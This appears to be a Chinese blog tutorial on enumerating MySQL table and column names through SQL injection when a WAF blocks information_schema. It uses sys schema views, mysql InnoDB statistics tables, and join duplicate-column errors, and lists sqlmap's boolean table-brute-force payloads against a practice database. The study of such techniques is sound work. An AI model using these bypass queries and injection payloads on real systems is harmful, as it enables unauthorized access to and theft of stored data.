从之前的sqlmap盲注溯源的payload中可以看出,在通过database()获得数据库名后,进一步爆出数据基本都利用了information_schema这个系统库来获得,所以自然就想到假如Waf禁止了这个系统库的使用,该怎么爆出数据呢。
查阅资料后发现有其他的几个系统自带的表中也可以获得想要的信息。

获得表名

sys.schema_auto_increment_columns

在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。
在这里插入图片描述
可以看出不仅保存了表名和数据库名,还保存了自增字段的列名
所以当我们通过database()获得数据库名后就可以利用这个视图去获得带有自增列的表名和列名

mysql> select table_name,column_name from sys.schema_auto_increment_columns where table_schema = "security";
+------------+-------------+
| table_name | column_name |
+------------+-------------+
| referers   | id          |
| users      | id          |
| emails     | id          |
| uagents    | id          |
+------------+-------------+

统计信息相关视图

而对于没有自增列的表名,我们也可以通过其他的视图去获得。

查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间,即也可以理解为是存在最多I/O争用的表)降序排序,
数据来源:performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table

同样先看下视图的内容,也存在数据库名和表名
在这里插入图片描述
通过统计信息视图获得列名
schema_table_statistics_with_buffer
schema_table_statistics

mysql> select table_name from sys.schema_table_statistics_with_buffer where table_schema = "security";
+------------+
| table_name |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
+------------+

mysql> select table_name from sys.schema_table_statistics where table_schema = "security";
+------------+
| table_name |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
+------------+

schema_index_statistics中也存在同样的信息
# 	schema_table_statistics

mysql库

在mysql系统库也有两个表中包含部分表名
innodb_index_stats
innodb_table_stats
在这里插入图片描述

join报错得到列名

这一部分要依赖于重复的列名导致的报错,从而获得列名。
构造要依赖于上文得到的表名信息
假设已经获得了security的一个表名为user

select * from (select * from users as a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'

可以得到一个列名id,接下来添加using(已经获得的列名1,已经获得的列名2)就可以获得其他列名

mysql> select * from (select * from users as a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
得到username
mysql> select * from (select * from users as a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'
得到password

如果没有报错,表示已经获得所有的列名
查询会得到所有的数据
mysql> select * from (select * from users as a join users b using(id,username,password))c;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

sqlmap的处理

sqlmap提供了暴力破解表名的的选项--common-tables,当出现一下场景的时候。

  • DBMS(Database Management System,数据库管理系统)是 < 5.0 版本的 MySQL,它们不具备 information_schema。
  • DBMS 是微软的 Access 数据库,并且其中的系统表 MSysObjects 默认设置不可读。
  • 当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限。

就会采用字典中的表名进行暴力破解,表名储存在sqlmap路径\data\txt
在这里插入图片描述
爆破时发送的payload

1' AND EXISTS(SELECT 2 FROM security.users) AND 'WKMd'='WKMd
1' AND EXISTS(SELECT 9 FROM security.customer) AND 'hQcB'='hQcB
1' AND EXISTS(SELECT 8 FROM security.`user`) AND 'ckZb'='ckZb
1' AND EXISTS(SELECT 1 FROM security.orders) AND 'WffN'='WffN
1' AND EXISTS(SELECT 3 FROM security.employee) AND 'KfTF'='KfTF
1' AND EXISTS(SELECT 1 FROM security.x_world) AND 'uuGu'='uuGu
1' AND EXISTS(SELECT 8 FROM security.category) AND 'tHIj'='tHIj
1' AND EXISTS(SELECT 8 FROM security.project) AND 'HBCY'='HBCY
1' AND EXISTS(SELECT 7 FROM security.account) AND 'tSOY'='tSOY
1' AND EXISTS(SELECT 4 FROM security.customers) AND 'HlJM'='HlJM
1' AND EXISTS(SELECT 9 FROM security.country) AND 'gEzc'='gEzc
1' AND EXISTS(SELECT 1 FROM security.config) AND 'hQdH'='hQdH
....

官方文档中说,开启了爆破后,sqlmap 仍然可以识别出部分系统数据表。不过从拦截的情况来看好像并没有尝试通过sys中的视图以及mysql库中的系统表来获得数据。

参考文章:
sqlmap用户手册
bypass information_schema

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。